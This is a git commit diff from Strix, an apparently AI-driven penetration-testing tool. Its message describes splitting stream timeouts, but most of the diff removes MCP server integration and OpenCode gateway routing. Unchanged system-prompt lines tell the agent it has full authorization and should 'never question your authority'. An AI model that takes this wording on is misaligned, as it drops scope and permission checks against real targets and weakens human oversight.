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Author SHA1 Message Date
Devin AI
59b8803614 fix(models): split first-event and idle stream timeouts
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
2026-08-24 12:16:05 +00:00
100 changed files with 775 additions and 7376 deletions

View File

@@ -320,42 +320,6 @@ strix auth status # show the active sign-in
strix auth logout # forget the sign-in
```
#### Sign in with an OpenCode subscription
You can also run Strix on [OpenCode Zen](https://opencode.ai/docs/zen/) credits or an [OpenCode Go](https://opencode.ai/docs/go/) subscription:
```bash
strix auth login opencode # paste your API key from opencode.ai/auth
export STRIX_LLM="opencode/claude-sonnet-5" # opencode/<model> runs on Zen credits
export STRIX_LLM="opencode-go/kimi-k3" # opencode-go/<model> runs on the Go subscription
strix --target ./app-directory
```
#### Connect your own MCP servers
Strix can connect to Model Context Protocol (MCP) servers you list and expose their tools to the agent during a run. Create `~/.strix/mcp-servers.json` with a JSON list of servers. Each entry is either a local `stdio` server that Strix launches as a subprocess, or a remote `http` server:
```json
[
{
"name": "local_fs",
"transport": "stdio",
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/project"]
},
{
"name": "github",
"transport": "http",
"url": "https://api.githubcopilot.com/mcp/",
"auth": { "kind": "bearer", "token": "your-token" },
"allowed_tools": ["list_issues"]
}
]
```
Each server's tools are namespaced by `name` (for example `local_fs_read_file`). Omit `allowed_tools` to expose every tool the server offers, or set it to a list to restrict which tools the agent can call. The file is optional, and a server that fails to connect is skipped without failing the run. You can point Strix at a different file with `STRIX_MCP_CONFIG`.
**Recommended models for best results:**
- [OpenAI GPT-5.4](https://openai.com/api/) - `openai/gpt-5.4`

View File

@@ -47,8 +47,7 @@
"pages": [
"integrations/github-actions",
"integrations/ci-cd",
"integrations/coding-agents",
"integrations/mcp"
"integrations/coding-agents"
]
},
{

View File

@@ -1,131 +0,0 @@
---
title: "MCP Servers"
description: "Connect your own MCP servers and expose their tools to the agent"
---
Strix can connect to [Model Context Protocol (MCP)](https://modelcontextprotocol.io) servers you list and expose their tools to the agent during a run. Use this to let the agent read how your system is actually built instead of inferring it from the outside.
A few things it pays off for:
- **A database server.** The agent can read the schema and access policies and see tables left readable without them, rather than guessing from responses.
- **A hosting or infrastructure server.** Deployments, domains and environment variable names tell it what is really running, so it tests what exists instead of what it discovered by crawling.
- **An issue tracker.** Known and accepted risks stop the agent re-reporting findings you already triaged.
- **A logging server.** Reading logs lets it confirm an exploit attempt actually landed instead of inferring it from a status code.
## Setup
Create the file `~/.strix/mcp-servers.json`. It holds a JSON list of the servers you want the agent to reach. Each entry is either a local `stdio` server that Strix launches as a subprocess, or a remote `http` server.
Create the directory if it does not exist, then write the file:
```bash
mkdir -p ~/.strix
```
Paste the servers you want into `~/.strix/mcp-servers.json`. The example below shows one of each transport: a local filesystem server over `stdio` and a remote GitHub server over `http` with a bearer token:
```json
[
{
"name": "local_fs",
"transport": "stdio",
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/project"]
},
{
"name": "github",
"transport": "http",
"url": "https://api.githubcopilot.com/mcp/",
"auth": { "kind": "bearer", "token": "your-token" },
"allowed_tools": ["list_issues"]
}
]
```
Strix reads this file at the start of each run. There is no default file, so no MCP tools are loaded until you create it. Edit `command`, `args`, `url`, and `token` to match your own servers.
## Fields
<ParamField path="name" type="string" required>
A short label for the connection. Each server's tools are namespaced by
`name` (for example `local_fs_read_file`), so two servers can offer the same
tool name without colliding.
</ParamField>
<ParamField path="transport" type="string">
`stdio` for a local subprocess server, or `http` for a remote server.
</ParamField>
<ParamField path="command" type="string">
For `stdio` servers: the executable Strix launches (for example `npx`).
</ParamField>
<ParamField path="args" type="array">
For `stdio` servers: the arguments passed to `command`.
</ParamField>
<ParamField path="url" type="string">
For `http` servers: the server endpoint URL.
</ParamField>
<ParamField path="auth" type="object">
For `http` servers that need a bearer token:
`{ "kind": "bearer", "token": "your-token" }`.
</ParamField>
<ParamField path="allowed_tools" type="array">
Restrict which tools the agent can call. Omit it to expose every tool the
server offers, or set it to a list of tool names to allow only those. Strix
does not decide for you which of a server's tools only read and which change
things, so run the server in its own read-only mode if it has one.
</ParamField>
<ParamField path="notes" type="string">
Free-text notes for the agent about what this connection is and how you want
it used, for example "Staging analytics database, read-only, prefer aggregate
queries." When set, the notes are given to the agent at the start of the run
as a description of the connection.
</ParamField>
## Choosing connections per run
By default every connection in the file is used on each run. To narrow it for a
single run without editing the file, use either flag (both repeatable):
```bash
strix --mcp-server github -t ... # use only the named connection(s)
strix --mcp-exclude staging-db -t ... # use everything except the named one(s)
```
`--mcp-server` keeps only the connections you name; `--mcp-exclude` drops the
ones you name. Connection names must be unique in the file; if two entries share
a name, the first is kept and the rest are ignored.
## Pointing at a different file
To read the config from another path instead of `~/.strix/mcp-servers.json`, either pass `--mcp-config <path>` on the command line:
```bash
strix --mcp-config ./mcp-servers.json -t ...
```
or set the `STRIX_MCP_CONFIG` environment variable to that path. The flag takes precedence when both are given.
## Startup confirmation
When servers are configured, Strix prints a one-line summary at scan startup, for example `MCP: connected 1 server (14 tools): local_fs`, so you can confirm your servers connected.
## Seeing the calls
Each call the agent makes to one of your servers is shown with its own icon and
labelled with the connection it went out to, in the terminal and in the run
viewer (`strix view`), so a call that left Strix for a server you connected is
easy to pick out of a transcript. The terminal shows the call and its arguments;
results can be large and arbitrary, so read them in the viewer, which shows a
preview you can expand.
## Behavior
- The config file is optional. Without it, a run simply gets no MCP tools.
- A server that fails to connect is skipped and logged, and the run continues without it.
- A single malformed entry is skipped without blocking the valid ones.

View File

@@ -241,10 +241,6 @@ ignore = [
"tests/test_stream_idle_timeout.py" = ["N802", "SLF001"]
"tests/test_unknown_tool_recovery.py" = ["N802"]
"tests/test_report_pdf.py" = ["S105", "S106"]
# Fake MCP server matches the SDK's MCPServer signature; its args are unused.
"tests/test_mcp_client.py" = ["S105", "S106", "ARG002"]
# MCP connection request in a test carries a dummy bearer token.
"tests/test_runner_root_prompt.py" = ["S106"]
# Stdlib HTTP handler overrides (do_GET/do_POST) and lazy imports that avoid a
# circular dependency with strix.telemetry / strix.interface.viewer.report_pdf.
"strix/interface/viewer/server.py" = ["N802", "PLC0415"]
@@ -255,11 +251,6 @@ ignore = [
"strix/tools/notes/tools.py" = ["PLC0415", "TC002"]
"strix/tools/finish/tool.py" = ["PLC0415", "TC002"]
"strix/tools/reporting/tool.py" = ["PLC0415", "TC002"]
# Lazy imports of strix.tools.mcp.client avoid a circular import (client imports
# the session module at module load).
"strix/tools/mcp/session.py" = ["PLC0415"]
# call_mcp is a chain of guard clauses that each return an error string.
"strix/tools/mcp/agent_tools.py" = ["PLR0911"]
"strix/tools/**/*.py" = [
"ARG001", # Unused function argument (tools may have unused args for interface consistency)
]
@@ -308,7 +299,6 @@ ignore = [
# Heavy inference deps (httpx, openai) imported lazily so auth-status checks
# don't pull them in.
"strix/config/codex.py" = ["PLC0415"]
"strix/config/opencode.py" = ["PLC0415"]
# Interface utility branches per scope-mode / target-type combination;
# splitting would obscure the decision tree without simplifying it.
"strix/interface/utils.py" = ["PLR0912", "BLE001", "PLC0415"]

View File

@@ -29,7 +29,6 @@ from strix.tools.agents_graph.tools import (
from strix.tools.coverage.tools import list_coverage, record_coverage, update_coverage
from strix.tools.finish.tool import finish_scan
from strix.tools.load_skill.tool import load_skill
from strix.tools.mcp import call_mcp, describe_mcp, list_mcps
from strix.tools.notes.tools import (
create_note,
delete_note,
@@ -37,7 +36,6 @@ from strix.tools.notes.tools import (
list_notes,
update_note,
)
from strix.tools.nullish import is_nullish
from strix.tools.output_store import bound_and_store, bound_text
from strix.tools.proxy.tools import (
list_requests,
@@ -166,28 +164,6 @@ def _schema_types(spec: dict[str, Any]) -> set[str]:
return types
def _allows_null(spec: dict[str, Any]) -> bool:
raw = spec.get("type")
if raw == "null" or (isinstance(raw, list) and "null" in raw):
return True
return any(
isinstance(variant, dict) and _allows_null(variant) for variant in spec.get("anyOf") or ()
)
def _is_nullable(key: str, spec: dict[str, Any], schema: dict[str, Any]) -> bool:
"""Whether ``key`` may be ``None``.
Strict schemas list every property as required, so nullability shows up as a
``null`` type variant; without a declared one, fall back to the property
being absent from a declared ``required`` list.
"""
if _allows_null(spec):
return True
required = schema.get("required")
return isinstance(required, list) and key not in required
def _decode_structured(value: str, types: set[str]) -> Any:
stripped = value.strip()
if not stripped:
@@ -202,14 +178,9 @@ def _decode_structured(value: str, types: set[str]) -> Any:
return decoded if isinstance(decoded, wanted) else value
def _coerce_argument(value: Any, spec: dict[str, Any], *, nullable: bool = False) -> Any:
if value is None:
return value
if nullable and is_nullish(value):
# The model's stand-in for "no value"; as a filter it matches nothing.
return None
def _coerce_argument(value: Any, spec: dict[str, Any]) -> Any:
types = _schema_types(spec)
if not types:
if not types or value is None:
return value
if isinstance(value, list | dict) and "string" in types and not types & {"array", "object"}:
return json.dumps(value, ensure_ascii=False)
@@ -218,12 +189,7 @@ def _coerce_argument(value: Any, spec: dict[str, Any], *, nullable: bool = False
return value
# Only query tools get nullish coercion: there a literal "null" is a filter that
# matches nothing, while a tool that writes may well be given it as real content.
_QUERY_TOOL_PREFIXES = ("list_", "search_", "view_", "get_")
def _coerce_arguments(raw_input: str, schema: dict[str, Any], *, nullish: bool = False) -> str:
def _coerce_arguments(raw_input: str, schema: dict[str, Any]) -> str:
properties = schema.get("properties")
if not isinstance(properties, dict) or not properties:
return raw_input
@@ -239,9 +205,7 @@ def _coerce_arguments(raw_input: str, schema: dict[str, Any], *, nullish: bool =
spec = properties.get(key)
if not isinstance(spec, dict):
continue
coerced = _coerce_argument(
value, spec, nullable=nullish and _is_nullable(key, spec, schema)
)
coerced = _coerce_argument(value, spec)
if coerced is not value:
payload[key] = coerced
changed = True
@@ -256,10 +220,9 @@ def _with_coerced_arguments(tool: FunctionTool) -> FunctionTool:
return tool
invoke_tool = tool.on_invoke_tool
schema = tool.params_json_schema
nullish = tool.name.startswith(_QUERY_TOOL_PREFIXES)
async def invoke(ctx: Any, raw_input: str) -> Any:
return await invoke_tool(ctx, _coerce_arguments(raw_input, schema, nullish=nullish))
return await invoke_tool(ctx, _coerce_arguments(raw_input, schema))
tool.on_invoke_tool = invoke
tool._strix_coerced = True # type: ignore[attr-defined]
@@ -588,9 +551,6 @@ _BASE_TOOLS: tuple[Tool, ...] = (
list_sitemap,
view_sitemap_entry,
scope_rules,
list_mcps,
describe_mcp,
call_mcp,
view_agent_graph,
send_message_to_agent,
wait_for_agents,

View File

@@ -75,22 +75,6 @@ AUTHORIZED TARGETS:
{% endfor %}
{% endif %}
{% if system_prompt_context and system_prompt_context.mcp_available %}
MCP CONNECTIONS (available this run):
- The user connected one or more MCP (Model Context Protocol) servers — external tool providers you can reach on demand. Their individual tools do NOT appear in your tool list; three dispatch tools are the only way in.
{% if system_prompt_context.mcp_connections %}
- Connected this run (call describe_mcp on one to see its tools):
{% for connection in system_prompt_context.mcp_connections %}
- {{ connection.name }} ({{ connection.tool_count }} tools){% if connection.purpose %}: {{ connection.purpose }}{% endif %}
{% endfor %}
{% endif %}
- Reach for a connection whenever the target itself cannot give you information a connection could: its database schema and access policies, real deployment or infrastructure configuration, known issues or prior findings, or server logs. In those cases call list_mcps early to see what is available, and prefer a connection's authoritative data over inferring from the target's responses. Do not wait to be told a connection exists.
1. Call list_mcps() to discover the available connections.
2. Call describe_mcp(connection="<name>") to inspect one connection's tools, each with its name, description, and JSON input schema.
3. Call call_mcp(connection="<name>", tool="<tool>", arguments={...}) to run one, passing an arguments object that matches the schema (omit arguments for a tool that takes none).
- Do not assume a connection or tool exists; discover it with list_mcps and describe it with describe_mcp before calling.
{% endif %}
AUTHORIZATION STATUS:
- You have FULL AUTHORIZATION for authorized security validation on in-scope targets to help secure the target systems/app
- All permission checks have been COMPLETED and APPROVED - never question your authority
@@ -235,7 +219,7 @@ VALIDATION REQUIREMENTS:
- CLOSURE DISCIPLINE: every candidate you open ends in exactly one explicit state — `confirmed` (working PoC, or a complete source→control→sink→impact trace that is reachable), `ruled_out` (you can name the SPECIFIC control, at a location, that runs on every attacker-reachable path before the sink), or `open_proof_gap` (plausible, unconfirmed, and you could NOT name such a control). "I moved on" is not a closure state. Silently dropping an uncertain candidate is mislabelling an `open_proof_gap` as `ruled_out` and is how real bugs get missed.
- Missing information is NOT proof of safety: no caller found, can't tell if deployed/exposed, couldn't stand up the service, build failed — each is an `open_proof_gap`, never a reason to mark a candidate clean. Difficulty is a reason to defer, not to suppress.
- COVERAGE: record every surface you assess with `record_coverage` (surface + risk area + outcome + evidence), including the ones that came back clean — a report that only lists findings cannot say what was reviewed and cleared. Use the `needs_follow_up` outcome for anything left in an `open_proof_gap` state, and carry the same items up in `agent_finish(open_items=[...])`. The ledger is shared and mutable: when you resolve a surface another agent left open — or find that a closed one is not — move that entry with `update_coverage` instead of recording a second one for the same surface. The root agent reconciles all of it via `list_coverage` before `finish_scan`.
- THREAT MODEL: before you start testing, call `get_threat_model` on the target you were pointed at — it is the scan's shared answer to who the attacker is, where the trust boundaries sit, and what counts as critical here. It is scoped to this scan and nothing carries over from an earlier run, so `found: false` means no agent on this run has derived one yet. Read it instead of re-deriving trust boundaries yourself; where your testing disproves it — a boundary it calls trusted turns out to be attacker-reachable, a role it did not know about, a host or endpoint it never listed — record that with `amend_threat_model` so the agents after you inherit the correction. Amending is not optional politeness: a model nobody corrects turns the first agent's guesses into everyone's assumptions.
- THREAT MODEL: before you start testing, call `get_threat_model` on the target you were pointed at — it is the scan's shared answer to who the attacker is, where the trust boundaries sit, and what counts as critical here, and it is cached per target rather than per scan. Read it instead of re-deriving trust boundaries yourself; where your testing disproves it — a boundary it calls trusted turns out to be attacker-reachable, a role it did not know about, a host or endpoint it never listed — record that with `amend_threat_model` so the agents after you inherit the correction. Amending is not optional politeness: a model nobody corrects turns the first agent's guesses into everyone's assumptions.
- Before filing any report, run the counterevidence pass: argue the strongest case AGAINST the finding, record what you found in the `counterevidence` field, set `confidence` honestly (a static-only trace you couldn't execute is at best `medium`), and state what evidence would change the severity. See the counterevidence and severity-calibration knowledge above.
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report (or create_dependency_report for known-CVE dependency/supply-chain findings) with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- Reporting and fixing are ONE step, not two: when source is available, the reporting agent derives the concrete fix and files it INLINE via create_vulnerability_report (`code_locations` with `fix_before`/`fix_after` + `fix_pr_body`) — the report is not complete without it. Do NOT report first and then spawn a separate downstream agent to re-derive and re-apply the same patch; that just re-does the analysis and wastes tokens. (Do not silently patch a finding WITHOUT filing a report — the report, with its embedded fix, is the deliverable.)

View File

@@ -72,32 +72,8 @@ def _write_store(data: dict[str, Any]) -> None:
write_secret_text(AUTH_PATH, json.dumps(data, indent=2))
def read_provider_record(provider: str) -> dict[str, Any] | None:
"""Raw record for *provider* from the shared subscription-auth store."""
record = _read_store().get(provider)
return record if isinstance(record, dict) else None
def save_provider_record(provider: str, record: dict[str, Any]) -> None:
data = _read_store()
data[provider] = record
_write_store(data)
def remove_provider_record(provider: str) -> None:
data = _read_store()
if provider not in data:
return
del data[provider]
if data:
_write_store(data)
return
with contextlib.suppress(OSError):
AUTH_PATH.unlink()
def read_record() -> dict[str, Any] | None:
record = read_provider_record(PROVIDER)
record = _read_store().get(PROVIDER)
if not isinstance(record, dict) or record.get("type") != "oauth":
return None
if not (record.get("access") and record.get("refresh") and record.get("account_id")):
@@ -110,11 +86,21 @@ def is_authenticated() -> bool:
def save_record(record: dict[str, Any]) -> None:
save_provider_record(PROVIDER, record)
data = _read_store()
data[PROVIDER] = record
_write_store(data)
def logout() -> None:
remove_provider_record(PROVIDER)
data = _read_store()
if PROVIDER not in data:
return
del data[PROVIDER]
if data:
_write_store(data)
return
with contextlib.suppress(OSError):
AUTH_PATH.unlink()
@contextlib.contextmanager

View File

@@ -18,9 +18,8 @@ from agents import (
)
from agents.model_settings import ModelSettings
from agents.models.fake_id import FAKE_RESPONSES_ID
from agents.models.interface import Model, ModelProvider
from agents.models.interface import Model
from agents.models.multi_provider import MultiProvider
from agents.models.openai_chatcompletions import OpenAIChatCompletionsModel
from agents.models.openai_responses import OpenAIResponsesModel
from agents.retry import (
ModelRetryBackoffSettings,
@@ -37,7 +36,7 @@ from openai.types.responses import (
from openai.types.responses.response_usage import ResponseUsage
from openai.types.shared import Reasoning
from strix.config import codex, opencode
from strix.config import codex
from strix.config.loader import load_settings
from strix.config.tool_call_ids import TurnCallIdRewriter, dedupe_input
from strix.config.tool_call_limits import TurnToolCallLimiter
@@ -49,7 +48,7 @@ if TYPE_CHECKING:
from agents.agent_output import AgentOutputSchemaBase
from agents.handoffs import Handoff
from agents.items import ModelResponse, TResponseInputItem, TResponseStreamEvent
from agents.models.interface import ModelTracing
from agents.models.interface import ModelProvider, ModelTracing
from agents.retry import ModelRetryAdvice, ModelRetryAdviceRequest
from agents.tool import Tool
from agents.usage import Usage
@@ -62,6 +61,10 @@ if TYPE_CHECKING:
logger = logging.getLogger(__name__)
class ModelStreamTimeoutError(TimeoutError):
"""Raised when a model stream exceeds its event timeout."""
def request_timeout_extra_args(timeout_s: float | None) -> dict[str, float] | None:
"""Per-request model timeout; a plain float so ``ModelSettings.to_json_dict()`` stays serializable.""" # noqa: E501
if not timeout_s or timeout_s <= 0:
@@ -80,12 +83,7 @@ def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
class _CodexResponsesModel(OpenAIResponsesModel):
"""Responses model for stateless subscription gateways (always streamed).
Used for the ChatGPT subscription backend and for Responses-served models on
the OpenCode gateway: neither stores responses server-side, so reasoning is
carried inline via ``reasoning.encrypted_content``.
"""
"""Responses model for the ChatGPT subscription backend (always streamed, stateless)."""
def __init__(
self,
@@ -273,10 +271,12 @@ class _TurnGuardModel(Model):
*,
max_tool_calls_per_turn: int = 0,
stream_idle_timeout: float = 0.0,
stream_first_event_timeout: float = 0.0,
) -> None:
self._inner = inner
self._max_tool_calls_per_turn = max_tool_calls_per_turn
self._stream_idle_timeout = stream_idle_timeout
self._stream_first_event_timeout = stream_first_event_timeout
def _limiter(self) -> TurnToolCallLimiter:
return TurnToolCallLimiter(self._max_tool_calls_per_turn)
@@ -357,7 +357,11 @@ class _TurnGuardModel(Model):
conversation_id=conversation_id,
prompt=prompt,
)
async for event in _with_idle_timeout(stream, self._stream_idle_timeout):
async for event in _with_idle_timeout(
stream,
self._stream_idle_timeout,
self._stream_first_event_timeout,
):
guarded = _guard_event(event, rewriter, limiter)
if guarded is not None:
yield guarded
@@ -371,24 +375,39 @@ async def _aclose(stream: AsyncIterator[TResponseStreamEvent]) -> None:
async def _with_idle_timeout(
stream: AsyncIterator[TResponseStreamEvent], timeout: float
stream: AsyncIterator[TResponseStreamEvent],
timeout: float,
first_event_timeout: float = 0.0,
) -> AsyncIterator[TResponseStreamEvent]:
if timeout <= 0:
effective_first_event_timeout = first_event_timeout if first_event_timeout > 0 else timeout
if timeout <= 0 and effective_first_event_timeout <= 0:
async for event in stream:
yield event
return
iterator = stream.__aiter__()
yielded_event = False
while True:
event_timeout = timeout if yielded_event else effective_first_event_timeout
try:
event = await asyncio.wait_for(iterator.__anext__(), timeout)
if event_timeout > 0:
event = await asyncio.wait_for(iterator.__anext__(), event_timeout)
else:
event = await iterator.__anext__()
except StopAsyncIteration:
return
except TimeoutError:
await _aclose(stream)
message = f"model stream produced no event for {timeout:.0f}s"
if yielded_event:
message = f"model stream produced no event for {timeout:.0f}s"
else:
message = (
f"model stream produced no first event within "
f"{effective_first_event_timeout:.0f}s"
)
logger.warning("%s; abandoning the turn", message)
raise TimeoutError(message) from None
raise ModelStreamTimeoutError(message) from None
yielded_event = True
yield event
@@ -451,61 +470,12 @@ def _response_usage(usage: Usage | None) -> ResponseUsage | None:
)
class _CredentialedLitellmProvider(ModelProvider):
"""LiteLLM route bound to one endpoint's credentials.
``LitellmProvider`` reads them from the process-wide LiteLLM globals, which
belong to the main model; a secondary endpoint needs its own.
"""
def __init__(self, api_key: str | None, base_url: str | None) -> None:
self._api_key = api_key
self._base_url = base_url
def get_model(self, model_name: str | None) -> Model:
from agents.extensions.models.litellm_model import LitellmModel
from agents.models.default_models import get_default_model
return LitellmModel(
model=model_name or get_default_model(),
api_key=self._api_key,
base_url=self._base_url,
)
class StrixProvider(MultiProvider):
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
so users type ``deepseek/deepseek-chat`` rather than
``litellm/deepseek/deepseek-chat``.
``api_key``/``base_url`` bind every route this provider resolves to one
endpoint, for a secondary model (the dedupe judge) whose endpoint differs
from the main model's process-wide defaults.
"""
def __init__(
self,
*,
api_key: str | None = None,
base_url: str | None = None,
**kwargs: Any,
) -> None:
super().__init__(
openai_api_key=api_key,
openai_base_url=base_url,
# A custom endpoint is OpenAI-compatible, i.e. chat completions; the
# global default is the main model's and may say otherwise.
openai_use_responses=False if base_url else None,
**kwargs,
)
self._override_api_key = api_key
self._override_base_url = base_url
def _create_fallback_provider(self, prefix: str) -> ModelProvider:
if prefix == "litellm" and (self._override_api_key or self._override_base_url):
return _CredentialedLitellmProvider(self._override_api_key, self._override_base_url)
return super()._create_fallback_provider(prefix)
def _resolve_prefixed_model(
self,
*,
@@ -526,8 +496,8 @@ class StrixProvider(MultiProvider):
def get_model(self, model_name: str | None) -> Model:
llm = load_settings().llm
slug = codex.subscription_model(model_name)
oc = opencode.subscription_model(model_name)
idle_timeout = float(llm.stream_idle_timeout)
first_event_timeout = float(llm.stream_first_event_timeout)
if slug:
# The ChatGPT subscription backend is always streamed; it has no
# non-streaming mode to fall back to, so LLM_DISABLE_STREAMING
@@ -537,35 +507,6 @@ class StrixProvider(MultiProvider):
codex.get_subscription_client(),
reasoning_effort=llm.reasoning_effort,
)
elif oc and oc.protocol == opencode.PROTOCOL_RESPONSES:
model = _CodexResponsesModel(
oc.slug,
opencode.get_subscription_client(oc.base_url),
reasoning_effort=llm.reasoning_effort,
)
elif oc and oc.protocol == opencode.PROTOCOL_MESSAGES:
# Claude models are served on Anthropic's ``/messages``, which the
# OpenAI SDK cannot speak: it has no Messages method and sends the
# key as a bearer token rather than ``x-api-key``. LiteLLM's
# Anthropic route handles both, so the gateway becomes an Anthropic
# base URL with the subscription key.
from agents.extensions.models.litellm_model import LitellmModel
model = LitellmModel(
model=f"anthropic/{oc.slug}",
base_url=oc.messages_url,
api_key=opencode.get_api_key(),
)
if llm.disable_streaming:
model = _NonStreamingModel(model)
idle_timeout = 0.0
elif oc:
model = OpenAIChatCompletionsModel(
oc.slug, opencode.get_subscription_client(oc.base_url)
)
if llm.disable_streaming:
model = _NonStreamingModel(model)
idle_timeout = 0.0
else:
model = super().get_model(model_name)
if llm.disable_streaming:
@@ -574,10 +515,12 @@ class StrixProvider(MultiProvider):
# is done, so an idle gap is meaningless here; the request
# timeout bounds it instead.
idle_timeout = 0.0
first_event_timeout = 0.0
return _TurnGuardModel(
model,
max_tool_calls_per_turn=llm.max_tool_calls_per_turn,
stream_idle_timeout=idle_timeout,
stream_first_event_timeout=first_event_timeout,
)
@@ -625,24 +568,15 @@ RECOMMENDED_MODEL_NAMES = (
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
FRONTIER_MODEL_FAMILIES = (
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai", "opencode"), ("gpt-5",)),
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai"), ("gpt-5",)),
(
(
"anthropic",
"azure_ai",
"bedrock",
"claude",
"databricks",
"opencode",
"snowflake",
"vertex_ai",
),
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
("claude-fable-5", "claude-opus-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
),
(("google", "gemini", "opencode", "vertex_ai"), ("gemini-3",)),
(("deepseek", "opencode"), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
(("alibaba", "dashscope", "opencode", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
(("kimi", "moonshot", "moonshotai", "opencode"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
(("alibaba", "dashscope", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
(("moonshot", "moonshotai", "kimi"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
)
@@ -650,14 +584,7 @@ def configure_sdk_model_defaults(settings: Settings) -> None:
"""Apply Strix config to SDK-native defaults."""
llm = settings.llm
set_tracing_disabled(True)
oc = opencode.subscription_model(llm.model)
if codex.subscription_model(llm.model) or oc:
# A subscription run carries its own client and credentials, so none of
# the api_key/api_base defaults below apply. The Anthropic route is the
# exception: it goes through LiteLLM, which still needs the
# compatibility flags and the cost callback.
if oc is not None and oc.protocol == opencode.PROTOCOL_MESSAGES:
_configure_litellm_compatibility()
if codex.subscription_model(llm.model):
return
_configure_litellm_compatibility()
_configure_openrouter_attribution(llm.model)
@@ -842,11 +769,6 @@ def uses_chat_completions_tool_schema(model_name: str, settings: Settings) -> bo
"""Return whether the resolved SDK route can only receive JSON function tools."""
if codex.subscription_model(model_name):
return False
oc = opencode.subscription_model(model_name)
if oc:
# Chat Completions takes JSON function tools; so does the LiteLLM
# Anthropic route, which translates them to Anthropic tool blocks.
return oc.protocol != opencode.PROTOCOL_RESPONSES
model = model_name.strip().lower()
if "/" in model and not model.startswith("openai/"):
return True
@@ -970,22 +892,6 @@ def is_claude_model(model_name: str) -> bool:
return "claude" in (model_name or "").strip().lower()
def routes_through_litellm(model_name: str | None) -> bool:
"""Whether :class:`StrixProvider` sends this model through LiteLLM.
Bare names and the ``openai/``/``any-llm/`` prefixes are served by the SDK's
own clients, which raise ``TypeError`` on request fields they do not know,
so LiteLLM-only fields must not be attached there. A bare ``claude-...``
name is exactly that case: an ``LLM_API_BASE`` pointing at an
OpenAI-compatible gateway in front of Claude.
"""
name = (model_name or "").strip()
if not name or codex.subscription_model(name):
return False
prefix, _, rest = name.partition("/")
return bool(rest) and prefix.lower() not in {"openai", "any-llm"}
def is_bedrock_route(model_name: str) -> bool:
name = (model_name or "").strip().lower()
return name.startswith("bedrock/") or "anthropic." in name

View File

@@ -1,230 +0,0 @@
"""OpenCode subscription auth: API-key sign-in and the clients that route
inference through the OpenCode gateway.
Covers both OpenCode offerings, Zen (pay-as-you-go credits) and Go (the
monthly subscription), which share one account and API key but live behind
different gateway base URLs. Unlike the ChatGPT subscription there is no
OAuth: the user copies a plain API key from https://opencode.ai/auth, and
using the gateway from other agents is officially supported.
The gateway speaks three protocols and serves each model family on exactly
one of them (see https://opencode.ai/docs/zen/), answering a request sent to
the wrong one with an unhandled 500 rather than a 404. ``_protocol()`` holds
the mapping; ``SubscriptionModel.protocol`` carries the result. Claude runs on
Anthropic's ``/messages``, which the OpenAI SDK cannot speak, so that route
goes through LiteLLM instead of the clients built here.
"""
from __future__ import annotations
from dataclasses import dataclass
from typing import TYPE_CHECKING, Any
import requests
from strix.config import codex
if TYPE_CHECKING:
from openai import AsyncOpenAI
PROVIDER = "opencode"
ZEN_BASE_URL = "https://opencode.ai/zen/v1"
GO_BASE_URL = "https://opencode.ai/zen/go/v1"
# ``opencode/<model>`` runs on Zen credits; ``opencode-go/<model>`` on the Go
# subscription (matching OpenCode's own ``opencode-go/`` model ids).
ZEN_PREFIX = "opencode/"
GO_PREFIX = "opencode-go/"
AUTH_CONSOLE_URL = "https://opencode.ai/auth"
_KEY_CHECK_TIMEOUT = 30
class OpencodeAuthError(Exception):
def __init__(self, code: str, message: str | None = None) -> None:
self.code = code
super().__init__(message or code)
PROTOCOL_CHAT = "chat"
PROTOCOL_RESPONSES = "responses"
PROTOCOL_MESSAGES = "messages"
PLAN_ZEN = "zen"
PLAN_GO = "go"
_PLAN_LABELS = {PLAN_ZEN: "OpenCode Zen", PLAN_GO: "OpenCode Go"}
@dataclass(frozen=True)
class SubscriptionModel:
slug: str
base_url: str
protocol: str
plan: str
@property
def uses_responses(self) -> bool:
return self.protocol == PROTOCOL_RESPONSES
@property
def messages_url(self) -> str:
"""Anthropic-protocol endpoint for this gateway, e.g. ``.../zen/v1/messages``."""
return f"{self.base_url}/messages"
@property
def label(self) -> str:
return _PLAN_LABELS[self.plan]
@property
def metered(self) -> bool:
"""Whether a run spends money per request.
Zen bills prepaid credits per request, so its runs cost real money and
must not be reported as free. Go is a flat monthly fee, where a run's
marginal cost genuinely is zero.
"""
return self.plan == PLAN_ZEN
def _protocol(slug: str, base_url: str) -> str:
"""Which wire protocol the gateway serves *slug* on.
The gateway routes by model family and answers a request sent to the wrong
protocol with an unhandled 500 rather than a 404, so the mapping has to be
right. Probed against both gateways per family:
* Claude on Anthropic's ``/messages``
* GPT, Grok (Zen) and Muse on OpenAI's ``/responses``
* DeepSeek, MiniMax, Kimi, GLM and Qwen on Chat Completions
Grok is absent from the Go catalog, so its Zen-only Responses route costs
nothing there. Kimi and Qwen also answer on ``/messages``, but Chat
Completions works for them on both plans and stays the single mapping.
"""
lowered = slug.lower()
if lowered.startswith("claude-"):
return PROTOCOL_MESSAGES
if lowered.startswith(("gpt-", "muse-")):
return PROTOCOL_RESPONSES
if lowered.startswith("grok") and base_url == ZEN_BASE_URL:
return PROTOCOL_RESPONSES
return PROTOCOL_CHAT
def subscription_model(model_name: str | None) -> SubscriptionModel | None:
"""The gateway model behind an ``opencode/`` or ``opencode-go/`` STRIX_LLM."""
name = (model_name or "").strip()
lowered = name.lower()
for prefix, base_url, plan in (
(GO_PREFIX, GO_BASE_URL, PLAN_GO),
